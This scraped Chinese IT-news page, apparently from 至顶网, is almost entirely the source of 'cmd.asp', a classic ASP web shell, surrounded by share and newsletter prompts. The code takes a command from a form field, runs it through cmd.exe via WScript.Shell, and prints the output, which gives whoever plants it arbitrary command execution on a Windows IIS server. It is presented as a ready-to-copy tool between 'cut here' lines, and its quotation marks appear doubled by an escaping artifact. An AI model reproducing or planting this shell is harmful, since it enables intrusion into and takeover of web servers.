扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
--------------------------cmd.asp------------------------------ <%On Error Resume Next Set oScript = Server.CreateObject(""WScript.SHELL"") Set oScriptNet = Server.CreateObject(""WScript.NETWORK"") Set oFileSys = Server.CreateObject(""Scripting.FileSystemObject"") szCMD = Request.Form("".CMD"") If (szCMD <> """")Then szTempFile = ""C:\" & oFileSys.GetTempName() Call oScript.Run (""cmd.exe /c "" & szCMD & "" > "" & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If %> <HTML><BODY><FORM action=""<%= Request.ServerVariables(""URL"")%>"" method=""POST""> <input type=text name="".CMD"" size=45 value=""<%= szCMD %>""><input type=submit value=""Run""> </FORM><PRE> <% If (IsObject(oFile))Then On Error Resume Next Response.Write Server.HTMLEncode(oFile.ReadAll) oFile.Close Call oFileSys.DeleteFile(szTempFile, True) End If%> </BODY></HTML> -----------------------cut here-------------------------------- |
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。